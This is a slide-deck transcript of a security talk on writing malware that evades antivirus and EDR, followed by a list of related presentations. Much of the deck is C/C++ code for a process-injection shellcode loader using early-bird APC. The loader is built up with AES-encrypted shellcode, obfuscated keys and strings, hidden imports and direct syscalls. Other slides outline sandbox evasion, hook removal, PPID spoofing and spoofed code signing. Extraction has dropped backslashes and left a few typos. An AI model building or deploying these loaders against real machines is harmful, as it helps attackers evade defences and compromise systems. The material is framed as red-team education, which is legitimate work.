SlideShare une entreprise Scribd logo
1  sur  86
Developing High-Impact
Malware with Minimal Effort
Elvin Gentiles
Security Consultant
November 14, 2022
Introduction
3
▸ ~7 years in IT Security consultancy
▸ Offensive security guy
▸ Into Malware Dev & Windows Internals
▸ CRTE, CRTO, CRTP, OSCE, OSCP, OSWP
captmeelo.com
@CaptMeelo
capt-meelo
/in/elvingentiles
# whoami
©2022 IOActive, Inc. All rights reserved.
4
▸ Why maldev
▸ Primer on Windows APIs
▸ Common types of detection
▸ Considerations
▸ Getting the work done
▸ Tool demo
▸ What’s next
Agenda
©2022 IOActive, Inc. All rights reserved.
The Whys
6
▸ It is cool and a great skill to learn
▸ Red teams must keep up as blue teams continue to evolve
“To know
your Enemy,
you must
become your
Enemy”
Sun Tzu
Why Malware Development?
©2022 IOActive, Inc. All rights reserved.
7
▸ Malware Development is intimidating
▸ Which language to use?
▸ What techniques to employ?
▸ What APIs to utilize?
▸ How to evade AVs/EDRs?
▸ Will my code work?
▸ How do I even start?
Why This Talk?
©2022 IOActive, Inc. All rights reserved.
Windows API Primer
9
▸ WinAPI acts as a bridge that allows application to
interact with the operating system
▸ Officially documented on MSDN
▸ Easy to understand and work with
▸ Exported by different DLLs such as user32.dll,
kernel32.dll, etc.
Windows API
©2022 IOActive, Inc. All rights reserved.
10
▸ The functions that perform the actual operation
▸ Every function in WinAPI will eventually call the corresponding function in
the Native API
▸ Undocumented
▸ Challenging to work with (but very useful)
▸ Unofficial documentations
▸ http://undocumented.ntinternals.net/
▸ https://doxygen.reactos.org/index.html
▸ Exported by ntdll.dll or win32u.dll
▸ Distinguishable by the Nt or Zw prefix
▸ Commonly referred as “syscalls”
Native API
©2022 IOActive, Inc. All rights reserved.
11
From WinAPI to Native API
©2022 IOActive, Inc. All rights reserved.
12
Windows API Native API Purpose
OpenProcess NtOpenProcess Opens a handle to a process
VirtualAlloc(Ex) NtAllocateVirtualMemory Allocates memory
VirtualProtect(Ex) NtProtectVirtualMemory
Changes a memory
permission
WriteProcessMemory NtWriteVirtualMemory Writes data into memory
CreateRemoteThread(Ex) NtCreateThread(Ex) Creates a thread
CloseHandle NtClose Closes a handle
Windows & Native API Example
©2022 IOActive, Inc. All rights reserved.
Detection 101
14
Static-based Detection
©2022 IOActive, Inc. All rights reserved.
▸ Compares the signature to a DB of known malwares
(e.g., YARA rules)
▸ strings
▸ variable names
▸ process names
▸ hashes
▸ imports & exports
▸ etc.
▸ Drawback: it only works for known malwares
15
Dynamic-based Detection
©2022 IOActive, Inc. All rights reserved.
▸ Monitors the execution of code in a sandbox
▸ API calls
▸ network traffic
▸ process’ memory
▸ file/folder/registry changes
▸ etc.
▸ Drawback: sandboxes are limited and can be bypassed
(e.g., delaying execution, environmental keying, etc.)
16
Heuristic-based Detection
©2022 IOActive, Inc. All rights reserved.
▸ Looks at how a process behaves then makes decisions
based on evidences and pre-defined/baseline
behavioral rules
▸ Open a handle to a process → allocate memory → write code
into memory → create thread
▸ Drawback: can be evaded by changing the process’
flow/pattern (e.g., A-B-C-D → A-C-D-B)
Considerations
18
▸ Depends on:
▸ Low- or high-level
▸ Dev’s knowledge and experience
▸ Docs and libraries availability
▸ Popularity and community support
▸ Cross-compilation
Programming Language
©2022 IOActive, Inc. All rights reserved.
19
▸ Different file types for different scenarios
File Types
©2022 IOActive, Inc. All rights reserved.
Executables (.exe)
Dynamic Link Libraries (.dll)
HTML (.hta, .htm, …)
MS Docs (.doc, .xlsm, .ppam, …)
Shortcuts (.lnk)
Disk Image (.iso, .img, …)
Installer (.msi, ...)
Icons from Freepik
20
▸ How your malware should behave
▸ Shellcode loader
▸ Process injection
▸ DLL injection
▸ DLL sideloading
▸ Persistence
Execution Method
©2022 IOActive, Inc. All rights reserved.
21
▸ Executing code in the address space of another process
▸ Could evade detection since execution is masked under
a different process
▸ May allow an attacker to access the target process’
memory, privileges, etc.
▸ If the target process is not running, an attacker can
spawn it
Process Injection
©2022 IOActive, Inc. All rights reserved.
22
Process Injection
©2022 IOActive, Inc. All rights reserved.
GIF from elastic
23
Process Injection Techniques
©2022 IOActive, Inc. All rights reserved.
ATT&CK ID Name
T1055.001 Dynamic-link Library Injection
T1055.002 Portable Executable Injection
T1055.003 Thread Execution Hijacking
T1055.004 Asynchronous Procedure Call
T1055.005 Thread Local Storage
T1055.008 Ptrace System Calls
T1055.009 Proc Memory
T1055.011 Extra Window Memory Injection
T1055.012 Process Hollowing
T1055.013 Process Doppelgänging
T1055.014 VDSO Hijacking
T1055.015 ListPlanting From MITRE
24
▸ Red Team Experiment: Code & Process Injection by Mantvydas Baranauskas
(@spotheplanet)
PoCs
©2022 IOActive, Inc. All rights reserved.
25
▸ GitHub: odzhan/injection by @modexpblog
PoCs
©2022 IOActive, Inc. All rights reserved.
26
▸ GitHub: theevilbit/injection by Csaba Fitzl (@theevilbit)
PoCs
©2022 IOActive, Inc. All rights reserved.
27
▸ GitHub: SafeBreach-Labs/pinjectra by Itzik Kotler (@itzikkotler) & Amit Klein
PoCs
©2022 IOActive, Inc. All rights reserved.
Let’s Get Started!
29
▸ By scouring the Internet and the open-source
community
▸ Utilizing “header-only” libraries
How Do We Do It?
©2022 IOActive, Inc. All rights reserved.
Skeleton Code
31
Skeleton Code
©2022 IOActive, Inc. All rights reserved.
#include <Windows.h>
int main()
{
// msfvenom -p windows/x64/messagebox TEXT="I'm a malware author now" -f c
unsigned char shellcode[] = "xfcx48x81xe4xf0[...SNIP...]x65x42x6fx78x00";
SIZE_T shellcodeSize = sizeof(shellcode);
STARTUPINFO si = { 0 };
PROCESS_INFORMATION pi = { 0 };
CreateProcess(L"C:WindowsSystem32notepad.exe", NULL, NULL, NULL, FALSE, CREATE_SUSPENDED, NULL, NULL, &si, &pi);
LPVOID bufferAddr = VirtualAllocEx(pi.hProcess, NULL, shellcodeSize, MEM_RESERVE | MEM_COMMIT, PAGE_EXECUTE_READWRITE);
WriteProcessMemory(pi.hProcess, bufferAddr, shellcode, shellcodeSize, NULL);
QueueUserAPC((PAPCFUNC)bufferAddr, pi.hThread, NULL);
ResumeThread(pi.hThread);
CloseHandle(pi.hProcess);
CloseHandle(pi.hThread);
}
32
Skeleton Code in Action
©2022 IOActive, Inc. All rights reserved.
33
Skeleton Code in Action
©2022 IOActive, Inc. All rights reserved.
Encryption/Obfuscation
35
▸ Adds additional layer of protection by getting rid of
“known indicators”
▸ Applies to shellcode, strings, function calls, etc.
▸ Can be done using different implementations/algorithms
(AES, XOR, RC4, UUID, CLSID, SVG, CSS, CSV,
IPv4/v6, MAC, etc.)
▸ A must!
▸ Beware as too much obfuscation yields higher entropy,
which could be an indicator
Encryption/Obfuscation
©2022 IOActive, Inc. All rights reserved.
Shellcode Encryption
37
▸ Shellcodes such as those generated by msfvenom are
heavily signatured
▸ Custom shellcode and/or encryption algorithm is
preferred as it makes detection harder
Shellcode Encryption
©2022 IOActive, Inc. All rights reserved.
38
▸ weidai11/cryptopp
▸ kokke/tiny-AES-c
▸ SergeyBel/AES
▸ kkAyataka/plusaes
▸ kerukuro/digestpp
▸ Soreing/des-cpp-encrypt
▸ amrayn/mine
(Some of the) Available Libraries
©2022 IOActive, Inc. All rights reserved.
39
Tiny-AES-c in Action
Generating Encrypted Shellcode (AES-CBC-256)
©2022 IOActive, Inc. All rights reserved.
#include <Windows.h>
#include <stdio.h>
#include "libs/aes.hpp"
int main()
{
// msfvenom -p windows/x64/messagebox TEXT="I'm a malware author now" -f c
unsigned char payload[] = "xfcx48x81xe4xf0[...SNIP...]x65x42x6fx78x00x90";
SIZE_T payloadSize = sizeof(payload);
unsigned char key[] = "Malware.Development.Is.SoAwesome";
unsigned char iv[] = " xccx21xafx90x4dx8axbbx39xacx77x48x64x7dx9cx71xa4";
struct AES_ctx ctx;
AES_init_ctx_iv(&ctx, key, iv);
AES_CBC_encrypt_buffer(&ctx, shellcode, shellcodeSize);
printf("Encrypted buffer:n");
for (int i = 0; i < shellcodeSize - 1; i++) {
printf("x%02x", shellcode[i]);
}
printf("n");
}
NOP (x90) was
appended to make the
shellcode a multiple of
16 bytes.
Ensure the correct
block size!
40
Tiny-AES-c in Action
Generated Shellcode (AES-CBC-256)
©2022 IOActive, Inc. All rights reserved.
41
Tiny-AES-c in Action
Decrypting Shellcode (AES-CBC-256)
©2022 IOActive, Inc. All rights reserved.
#include <Windows.h>
#include "libs/aes.hpp"
int main()
{
// msfvenom -p windows/x64/messagebox TEXT="I'm a malware author now" -f c
unsigned char shellcode[] = "x31xb4x0fx9cx41[...SNIP...]x69xd9x96x09x08xce";
SIZE_T shellcodeSize = sizeof(shellcode);
unsigned char key[] = "Malware.Development.Is.SoAwesome";
unsigned char iv[] = "xccx21xafx90x4dx8axbbx39xacx77x48x64x7dx9cx71xa4";
struct AES_ctx ctx;
AES_init_ctx_iv(&ctx, key, iv);
AES_CBC_decrypt_buffer(&ctx, shellcode, shellcodeSize);
STARTUPINFO si = { 0 };
PROCESS_INFORMATION pi = { 0 };
CreateProcess(L"C:WindowsSystem32notepad.exe", NULL, NULL, NULL, FALSE, CREATE_SUSPENDED, NULL, NULL, &si, &pi);
LPVOID bufferAddr = VirtualAllocEx(pi.hProcess, NULL, shellcodeSize, MEM_RESERVE | MEM_COMMIT, PAGE_EXECUTE_READWRITE);
WriteProcessMemory(pi.hProcess, bufferAddr, shellcode, shellcodeSize, NULL);
QueueUserAPC((PAPCFUNC)bufferAddr, pi.hThread, NULL);
ResumeThread(pi.hThread);
CloseHandle(pi.hProcess);
CloseHandle(pi.hThread);
}
AES_CBC_decrypt_buffer()
is now used.
42
Tiny-AES-c in Action
Running the Updated Code
©2022 IOActive, Inc. All rights reserved.
43
Tiny-AES-c in Action
Before and After
©2022 IOActive, Inc. All rights reserved.
Unencrypted Encrypted
44
▸ The key and IV are not
obfuscated, which
means the shellcode can
be easily decrypted.
Key/IV Obfuscation
©2022 IOActive, Inc. All rights reserved.
45
Hiding the Key and IV
©2022 IOActive, Inc. All rights reserved.
#include <Windows.h>
#include "libs/aes.hpp"
int main()
{
// msfvenom -p windows/x64/messagebox TEXT="I'm a malware author now" -f c
unsigned char shellcode[] = "x31xb4x0fx9cx41[...SNIP...]x69xd9x96x09x08xce";
SIZE_T shellcodeSize = sizeof(shellcode);
unsigned char key[] = { 'M', 'a', 'l', 'w', 'a', 'r', 'e', '.', 'D', 'e', 'v', 'e', 'l', 'o', 'p', 'm', 'e', 'n', 't', '.',
'I', 's', '.', 'S', 'o', 'A', 'w', 'e', 's', 'o', 'm', 'e’ };
unsigned char iv[] = { 0xcc, 0x21, 0xaf, 0x90, 0x4d, 0x8a, 0xbb, 0x39, 0xac, 0x77, 0x48, 0x64, 0x7d, 0x9c, 0x71, 0xa4 };
struct AES_ctx ctx;
AES_init_ctx_iv(&ctx, key, iv);
AES_CBC_decrypt_buffer(&ctx, shellcode, shellcodeSize);
STARTUPINFO si = { 0 };
PROCESS_INFORMATION pi = { 0 };
CreateProcess(L"C:WindowsSystem32notepad.exe", NULL, NULL, NULL, FALSE, CREATE_SUSPENDED, NULL, NULL, &si, &pi);
LPVOID bufferAddr = VirtualAllocEx(pi.hProcess, NULL, shellcodeSize, MEM_RESERVE | MEM_COMMIT, PAGE_EXECUTE_READWRITE);
WriteProcessMemory(pi.hProcess, bufferAddr, shellcode, shellcodeSize, NULL);
QueueUserAPC((PAPCFUNC)bufferAddr, pi.hThread, NULL);
ResumeThread(pi.hThread);
CloseHandle(pi.hProcess);
CloseHandle(pi.hThread);
}
Stack them!
46
Key/IV Obfuscation
Before and After
©2022 IOActive, Inc. All rights reserved.
Unobfuscated Obfuscated
String Obfuscation
48
▸ Strings are
stored in
cleartext within
the binary.
String Obfuscation
©2022 IOActive, Inc. All rights reserved.
49
▸ skadro-official/skCrypter
▸ JustasMasiulis/xorstr
▸ qis/xorstr
▸ TyrarFox/encstr
▸ adamyaxley/Obfuscate
▸ andrivet/ADVobfuscator
(Some of the) Available Libraries
©2022 IOActive, Inc. All rights reserved.
50
skCrypter in Action
©2022 IOActive, Inc. All rights reserved.
#include <Windows.h>
#include "libs/aes.hpp”
#include "libs/skCrypter.h"
int main()
{
// msfvenom -p windows/x64/messagebox TEXT="I'm a malware author now" -f c
unsigned char shellcode[] = "x31xb4x0fx9cx41[...SNIP...]x69xd9x96x09x08xce";
SIZE_T shellcodeSize = sizeof(shellcode);
unsigned char key[] = { 'M', 'a', 'l', 'w', 'a', 'r', 'e', '.', 'D', 'e', 'v', 'e', 'l', 'o', 'p', 'm', 'e', 'n', 't', '.', 'I', 's', '.', 'S', 'o', 'A',
'w', 'e', 's', 'o', 'm', 'e’ };
unsigned char iv[] = { 0xcc, 0x21, 0xaf, 0x90, 0x4d, 0x8a, 0xbb, 0x39, 0xac, 0x77, 0x48, 0x64, 0x7d, 0x9c, 0x71, 0xa4 };
struct AES_ctx ctx;
AES_init_ctx_iv(&ctx, key, iv);
AES_CBC_decrypt_buffer(&ctx, shellcode, shellcodeSize);
STARTUPINFO si = { 0 };
PROCESS_INFORMATION pi = { 0 };
CreateProcess(skCrypt(L"C:WindowsSystem32notepad.exe"), NULL, NULL, NULL, FALSE, CREATE_SUSPENDED, NULL, NULL, &si, &pi);
LPVOID bufferAddr = VirtualAllocEx(pi.hProcess, NULL, shellcodeSize, MEM_RESERVE | MEM_COMMIT, PAGE_EXECUTE_READWRITE);
WriteProcessMemory(pi.hProcess, bufferAddr, shellcode, shellcodeSize, NULL);
QueueUserAPC((PAPCFUNC)bufferAddr, pi.hThread, NULL);
ResumeThread(pi.hThread);
CloseHandle(pi.hProcess);
CloseHandle(pi.hThread);
}
String is passed into the
skCrypt() function.
51
String Obfuscation
Before and After
©2022 IOActive, Inc. All rights reserved.
String is visible
String is not visible
Hiding Function Calls
53
▸ IAT stores the addresses of functions imported from
DLLs
▸ A combination of specific/malicious WinAPI calls (e.g.,
VirtualAllocEx(), WriteProcessMemory(), etc.)
is a red flag
▸ Direct syscalls can be used but some native APIs, such
as NtCreateUserProcess(), is hard to use
Import Address Table (IAT) Obfuscation
©2022 IOActive, Inc. All rights reserved.
54
Import Address Table (IAT) Obfuscation
©2022 IOActive, Inc. All rights reserved.
55
▸ JustasMasiulis/lazy_importer
▸ AmJayden/Lazy-Importer
▸ SaulBerrenson/WinApiObfuscator
(Some of the) Available Libraries
©2022 IOActive, Inc. All rights reserved.
56
lazy_importer in Action
©2022 IOActive, Inc. All rights reserved.
#include <Windows.h>
#include "libs/aes.hpp”
#include "libs/skCrypter.h”
#include "libs/lazy_importer.hpp"
int main()
{
// msfvenom -p windows/x64/messagebox TEXT="I'm a malware author now" -f c
unsigned char shellcode[] = "x31xb4x0fx9cx41[...SNIP...]x69xd9x96x09x08xce";
SIZE_T shellcodeSize = sizeof(shellcoade);
unsigned char key[] = { 'M', 'a', 'l', 'w', 'a', 'r', 'e', '.', 'D', 'e', 'v', 'e', 'l', 'o', 'p', 'm', 'e', 'n', 't', '.', 'I', 's', '.', 'S', 'o', 'A', 'w',
'e', 's', 'o', 'm', 'e’ };
unsigned char iv[] = { 0xcc, 0x21, 0xaf, 0x90, 0x4d, 0x8a, 0xbb, 0x39, 0xac, 0x77, 0x48, 0x64, 0x7d, 0x9c, 0x71, 0xa4 };
struct AES_ctx ctx;
AES_init_ctx_iv(&ctx, key, iv);
AES_CBC_decrypt_buffer(&ctx, shellcode, shellcodeSize);
STARTUPINFO si = { 0 };
PROCESS_INFORMATION pi = { 0 };
LI_FN(CreateProcessW)(skCrypt(L"C:WindowsSystem32notepad.exe"), nullptr, nullptr, nullptr, FALSE, CREATE_SUSPENDED, nullptr, nullptr, &si, &pi);
LPVOID bufferAddr = LI_FN(VirtualAllocEx)(pi.hProcess, nullptr, shellcodeSize, MEM_RESERVE | MEM_COMMIT, PAGE_EXECUTE_READWRITE);
LI_FN(WriteProcessMemory)(pi.hProcess, bufferAddr, shellcode, shellcodeSize, nullptr);
LI_FN(QueueUserAPC)((PAPCFUNC)bufferAddr, pi.hThread, NULL);
LI_FN(ResumeThread)(pi.hThread);
LI_FN(CloseHandle)(pi.hProcess);
LI_FN(CloseHandle)(pi.hThread);
}
WinAPIs are now passed
into the LI_FN()function.
57
Import Address Table (IAT) Obfuscation
Before and After
©2022 IOActive, Inc. All rights reserved.
WinAPIs used
are visible
WinAPIs used
are not visible
Anti-Sandbox
59
▸ Virtual Environment Detection
▸ Hardware resources (CPU, RAM, vendor ID, screen resolution, etc.)
▸ Human-like behavior (mouse movement, recently opened docs, etc.)
▸ Running processes (vmtoolsd.exe, procmon.exe, windbg.exe, etc.)
▸ Environment Keying
▸ Implant will only run in a specific target (e.g., checking the domain name)
▸ Using the environment (e.g., domain name) as decryption key
▸ Timing Attacks
▸ Execution delay (e.g., using Sleep(), NtDelayExecution(), etc.)
▸ And more…
Defeating Sandboxes
©2022 IOActive, Inc. All rights reserved.
60
▸ https://github.com/LordNoteworthy/al-khaser
▸ https://github.com/a0rtega/pafish
▸ https://evasions.checkpoint.com/techniques/timing.html
(Some of the) Available Resources
©2022 IOActive, Inc. All rights reserved.
Evading Userland API Hooks
62
▸ AV/EDR injects its DLL in newly created processes
▸ The DLL “hooks” specific/malicious API calls (exported and/or
unexported)
▸ Hooking is done by replacing the first instructions of the
hooked function with a JMP instruction to a routine inside the
AV/EDR DLL
▸ AV/EDR then analyzes the parameters passed, sequence of
API calls used, etc.
▸ If it identified as malicious, the process will be terminated
▸ Otherwise, execution will jump back to the hooked function
How API Hooking Works
©2022 IOActive, Inc. All rights reserved.
63
How WinAPI Works
©2022 IOActive, Inc. All rights reserved.
64
How API Hooking Works
©2022 IOActive, Inc. All rights reserved.
65
▸ Avoiding the use of hooked APIs
▸ Use uncommon/unsuspicious APIs or functions
▸ Patching the patch
▸ Restore the original instructions that was overwritten by AV/EDR
▸ DLL Unhooking
▸ Replace the DLL (e.g., ntdll.dll)in memory (tampered by
AD/EDR) with a clean copy stored on disk
▸ Direct syscalls
▸ Invoke the API’s corresponding assembly code
Bypassing Userland Hooks
©2022 IOActive, Inc. All rights reserved.
66
▸ JustasMasiulis/inline_syscall
▸ jthuraisamy/SysWhispers2
▸ klezVirus/SysWhispers3
▸ hlldz/RefleXXion
(Some of the) Available Libraries
©2022 IOActive, Inc. All rights reserved.
67
inline_syscall in Action
Generating structs and typedefs
©2022 IOActive, Inc. All rights reserved.
$ python3 syswhispers.py -f NtAllocateVirtualMemory,NtWriteVirtualMemory,NtQueueApcThread,NtResumeThread,NtClose -o syscalls
. ,--.
,-. . . ,-. . , , |-. o ,-. ,-. ,-. ,-. ,-. /
`-. | | `-. |/|/ | | | `-. | | |-' | `-. ,-'
`-' `-| `-' ' ' ' ' ' `-' |-' `-' ' `-' `---
/| | @Jackson_T
`-' ' @modexpblog, 2021
SysWhispers2: Why call the kernel when you can whisper?
Complete! Files written to:
syscalls.h
syscalls.c
syscallsstubs.x86.asm
syscallsstubs.x86.nasm
syscallsstubs.x86.s
syscallsstubs.x64.asm
syscallsstubs.x64.nasm
syscallsstubs.x64.s
TIP: Use SysWhispers2 to lessen the burden of getting the correct structs and typedefs.
68
inline_syscall in Action
©2022 IOActive, Inc. All rights reserved.
#include <Windows.h>
#include "structs/syscalls.h"
#include "libs/aes.hpp”
#include "libs/skCrypter.h”
#include "libs/lazy_importer.hpp”
#include "libs/in_memory_init.hpp"
int main()
{
jm::init_syscalls_list();
// msfvenom -p windows/x64/messagebox TEXT="I'm a malware author now" -f c
unsigned char shellcode[] = "x31xb4x0fx9cx41[...SNIP...]x69xd9x96x09x08xce";
SIZE_T shellcodeSize = sizeof(shellcode);
unsigned char key[] = { 'M', 'a', 'l', 'w', 'a', 'r', 'e', '.', 'D', 'e', 'v', 'e', 'l', 'o', 'p', 'm', 'e', 'n', 't', '.', 'I', 's', '.', 'S', 'o', 'A', 'w', 'e', 's', 'o', 'm',
'e’ };
unsigned char iv[] = { 0xcc, 0x21, 0xaf, 0x90, 0x4d, 0x8a, 0xbb, 0x39, 0xac, 0x77, 0x48, 0x64, 0x7d, 0x9c, 0x71, 0xa4 };
struct AES_ctx ctx;
AES_init_ctx_iv(&ctx, key, iv);
AES_CBC_decrypt_buffer(&ctx, shellcode, shellcodeSize);
STARTUPINFO si = { 0 };
PROCESS_INFORMATION pi = { 0 };
LI_FN(CreateProcessW)(skCrypt(L"C:WindowsSystem32notepad.exe"), nullptr, nullptr, nullptr, FALSE, CREATE_SUSPENDED, nullptr, nullptr, &si, &pi);
LPVOID bufferAddr = NULL;
INLINE_SYSCALL(NtAllocateVirtualMemory)(pi.hProcess, &bufferAddr, 0, &shellcodeSize, MEM_RESERVE | MEM_COMMIT, PAGE_EXECUTE_READWRITE);
INLINE_SYSCALL(NtWriteVirtualMemory)(pi.hProcess, bufferAddr, &shellcode, shellcodeSize, NULL);
INLINE_SYSCALL(NtQueueApcThread)(pi.hThread, (PKNORMAL_ROUTINE)bufferAddr, bufferAddr, NULL, NULL);
INLINE_SYSCALL(NtResumeThread)(pi.hThread, NULL);
INLINE_SYSCALL(NtClose)(pi.hProcess);
INLINE_SYSCALL(NtClose)(pi.hThread);
}
required
Make sure to use LLVM
(clang-cl) as the
Platform Toolset
69
inline_syscall in Action
Running the updated Code
©2022 IOActive, Inc. All rights reserved.
Make sure to use LLVM
(clang-cl) as the
Platform Toolset
laZzzy
71
▸ Direct syscalls and native API functions (mostly)
▸ Import Address Table (IAT) evasion
▸ Encrypted payload (XOR and AES)
▸ Randomly generated key
▸ Automatic padding (if necessary) of payload with NOPS (x90)
▸ Byte-by-byte in-memory decryption of payload
▸ XOR-encrypted strings
▸ PPID spoofing
▸ Blocking of non-Microsoft-signed DLLs
▸ (Optional) Cloning of PE icon and attributes
▸ (Optional) Code signing with spoofed cert
Features
©2022 IOActive, Inc. All rights reserved.
72
1. Early-bird APC Queue (requires sacrificial process)
2. Thread Hijacking (requires sacrificial process)
3. KernelCallbackTable (requires sacrificial process that has a GUI)
4. Section View Mapping
5. Thread Suspension
6. LineDDA Callback
7. EnumSystemGeoID Callback
8. Fiber Local Storage (FLS) Callback
9. SetTimer
10.Clipboard
Shellcode Execution Methods
©2022 IOActive, Inc. All rights reserved.
73
▸ kokke/tiny-AES-c
▸ skadro-official/skCrypter
▸ JustasMasiulis/lazy_importer
▸ JustasMasiulis/inline_syscall
Libraries Used
©2022 IOActive, Inc. All rights reserved.
Demo
75
©2022 IOActive, Inc. All rights reserved.
Detection Rate
77
Detection Rate
©2022 IOActive, Inc. All rights reserved.
Make sure to use LLVM
(clang-cl) as the
Platform Toolset
Pros & Cons
79
PROs
▸ Will work (most of the time)
right out of the box
▸ Easy to use
▸ Saves a lot of time
▸ Saves you from banging your
head
CONs
▸ Bigger binary due to
unnecessary code
▸ No understanding of what is
happening
▸ Libraries might be signatured
already
Pros & Cons of Using Libraries
©2022 IOActive, Inc. All rights reserved.
Where to Go from Here?
81
Keep on Reading
©2022 IOActive, Inc. All rights reserved.
82
Take Courses
©2022 IOActive, Inc. All rights reserved.
83
▸ @C5pider
▸ @kyleavery_
▸ @GeKarantzas
▸ @0xBoku
▸ @trickster012
▸ @s4ntiago_p
▸ @SolomonSklash
▸ @am0nsec
▸ @ilove2pwn_
▸ @ORCA10K
▸ @rad9800
▸ @modexpblog
▸ @peterwintrsmith
▸ @passthehashbrwn
▸ @x86matthew
▸ @namazso
Follow these Folks
(in no particular order)
©2022 IOActive, Inc. All rights reserved.
▸ @__mez0__
▸ @mariuszbit
▸ @VirtualAllocEx
▸ @KlezVirus
▸ @diversenok_zero
▸ @NinjaParanoid
▸ @waldoirc
▸ @cerbersec
84
Join the Game Hacking Community
©2022 IOActive, Inc. All rights reserved.
85
Join the Game Hacking Community
©2022 IOActive, Inc. All rights reserved.
Thank you!

Contenu connexe

Tendances

Java Deserialization Vulnerabilities - The Forgotten Bug Class
Java Deserialization Vulnerabilities - The Forgotten Bug ClassJava Deserialization Vulnerabilities - The Forgotten Bug Class
Java Deserialization Vulnerabilities - The Forgotten Bug ClassCODE WHITE GmbH
 
MITRE ATT&CK based Threat Analysis for Electronic Flight Bag
MITRE ATT&CK based Threat Analysis for Electronic Flight BagMITRE ATT&CK based Threat Analysis for Electronic Flight Bag
MITRE ATT&CK based Threat Analysis for Electronic Flight BagMITRE ATT&CK
 
Threat Modelling - It's not just for developers
Threat Modelling - It's not just for developersThreat Modelling - It's not just for developers
Threat Modelling - It's not just for developersMITRE ATT&CK
 
Tatil Öncesi Güvenlik Kontrol Listesi.pdf
Tatil Öncesi Güvenlik Kontrol Listesi.pdfTatil Öncesi Güvenlik Kontrol Listesi.pdf
Tatil Öncesi Güvenlik Kontrol Listesi.pdfBGA Cyber Security
 
SSRF対策としてAmazonから発表されたIMDSv2の効果と破り方
SSRF対策としてAmazonから発表されたIMDSv2の効果と破り方SSRF対策としてAmazonから発表されたIMDSv2の効果と破り方
SSRF対策としてAmazonから発表されたIMDSv2の効果と破り方Hiroshi Tokumaru
 
The ATT&CK Philharmonic
The ATT&CK PhilharmonicThe ATT&CK Philharmonic
The ATT&CK PhilharmonicMITRE ATT&CK
 
Red Team Methodology - A Naked Look
Red Team Methodology - A Naked LookRed Team Methodology - A Naked Look
Red Team Methodology - A Naked LookJason Lang
 
ATT&CK Updates- Defensive ATT&CK
ATT&CK Updates- Defensive ATT&CKATT&CK Updates- Defensive ATT&CK
ATT&CK Updates- Defensive ATT&CKMITRE ATT&CK
 
Managing & Showing Value during Red Team Engagements & Purple Team Exercises ...
Managing & Showing Value during Red Team Engagements & Purple Team Exercises ...Managing & Showing Value during Red Team Engagements & Purple Team Exercises ...
Managing & Showing Value during Red Team Engagements & Purple Team Exercises ...Jorge Orchilles
 
Secure Code Warrior - CRLF injection
Secure Code Warrior - CRLF injectionSecure Code Warrior - CRLF injection
Secure Code Warrior - CRLF injectionSecure Code Warrior
 
Hunting for Credentials Dumping in Windows Environment
Hunting for Credentials Dumping in Windows EnvironmentHunting for Credentials Dumping in Windows Environment
Hunting for Credentials Dumping in Windows EnvironmentTeymur Kheirkhabarov
 
Log4Shell Case Study - Suricon2022.pdf
Log4Shell Case Study - Suricon2022.pdfLog4Shell Case Study - Suricon2022.pdf
Log4Shell Case Study - Suricon2022.pdfBrandon DeVault
 
Ofansif ve Defansif Powershell
Ofansif ve Defansif PowershellOfansif ve Defansif Powershell
Ofansif ve Defansif PowershellBGA Cyber Security
 
Super Easy Memory Forensics
Super Easy Memory ForensicsSuper Easy Memory Forensics
Super Easy Memory ForensicsIIJ
 
IT エンジニアのための 流し読み Windows - Windows のライセンス認証 & サブスクリプションのライセンス認証
IT エンジニアのための 流し読み Windows - Windows のライセンス認証 & サブスクリプションのライセンス認証IT エンジニアのための 流し読み Windows - Windows のライセンス認証 & サブスクリプションのライセンス認証
IT エンジニアのための 流し読み Windows - Windows のライセンス認証 & サブスクリプションのライセンス認証TAKUYA OHTA
 
ATT&CKING Containers in The Cloud
ATT&CKING Containers in The CloudATT&CKING Containers in The Cloud
ATT&CKING Containers in The CloudMITRE ATT&CK
 
Identity management and single sign on - how much flexibility
Identity management and single sign on - how much flexibilityIdentity management and single sign on - how much flexibility
Identity management and single sign on - how much flexibilityRyan Dawson
 

Tendances (20)

Java Deserialization Vulnerabilities - The Forgotten Bug Class
Java Deserialization Vulnerabilities - The Forgotten Bug ClassJava Deserialization Vulnerabilities - The Forgotten Bug Class
Java Deserialization Vulnerabilities - The Forgotten Bug Class
 
MITRE ATT&CK based Threat Analysis for Electronic Flight Bag
MITRE ATT&CK based Threat Analysis for Electronic Flight BagMITRE ATT&CK based Threat Analysis for Electronic Flight Bag
MITRE ATT&CK based Threat Analysis for Electronic Flight Bag
 
Threat Modelling - It's not just for developers
Threat Modelling - It's not just for developersThreat Modelling - It's not just for developers
Threat Modelling - It's not just for developers
 
Tatil Öncesi Güvenlik Kontrol Listesi.pdf
Tatil Öncesi Güvenlik Kontrol Listesi.pdfTatil Öncesi Güvenlik Kontrol Listesi.pdf
Tatil Öncesi Güvenlik Kontrol Listesi.pdf
 
SSRF対策としてAmazonから発表されたIMDSv2の効果と破り方
SSRF対策としてAmazonから発表されたIMDSv2の効果と破り方SSRF対策としてAmazonから発表されたIMDSv2の効果と破り方
SSRF対策としてAmazonから発表されたIMDSv2の効果と破り方
 
The ATT&CK Philharmonic
The ATT&CK PhilharmonicThe ATT&CK Philharmonic
The ATT&CK Philharmonic
 
Red Team Methodology - A Naked Look
Red Team Methodology - A Naked LookRed Team Methodology - A Naked Look
Red Team Methodology - A Naked Look
 
ATT&CK Updates- Defensive ATT&CK
ATT&CK Updates- Defensive ATT&CKATT&CK Updates- Defensive ATT&CK
ATT&CK Updates- Defensive ATT&CK
 
Web uygulama açıklıklarından faydalanarak sistem ele geçirme
Web uygulama açıklıklarından faydalanarak sistem ele geçirmeWeb uygulama açıklıklarından faydalanarak sistem ele geçirme
Web uygulama açıklıklarından faydalanarak sistem ele geçirme
 
Managing & Showing Value during Red Team Engagements & Purple Team Exercises ...
Managing & Showing Value during Red Team Engagements & Purple Team Exercises ...Managing & Showing Value during Red Team Engagements & Purple Team Exercises ...
Managing & Showing Value during Red Team Engagements & Purple Team Exercises ...
 
Secure Code Warrior - CRLF injection
Secure Code Warrior - CRLF injectionSecure Code Warrior - CRLF injection
Secure Code Warrior - CRLF injection
 
Hunting for Credentials Dumping in Windows Environment
Hunting for Credentials Dumping in Windows EnvironmentHunting for Credentials Dumping in Windows Environment
Hunting for Credentials Dumping in Windows Environment
 
Log4Shell Case Study - Suricon2022.pdf
Log4Shell Case Study - Suricon2022.pdfLog4Shell Case Study - Suricon2022.pdf
Log4Shell Case Study - Suricon2022.pdf
 
Cloud Summit Canada com Rodrigo Montoro
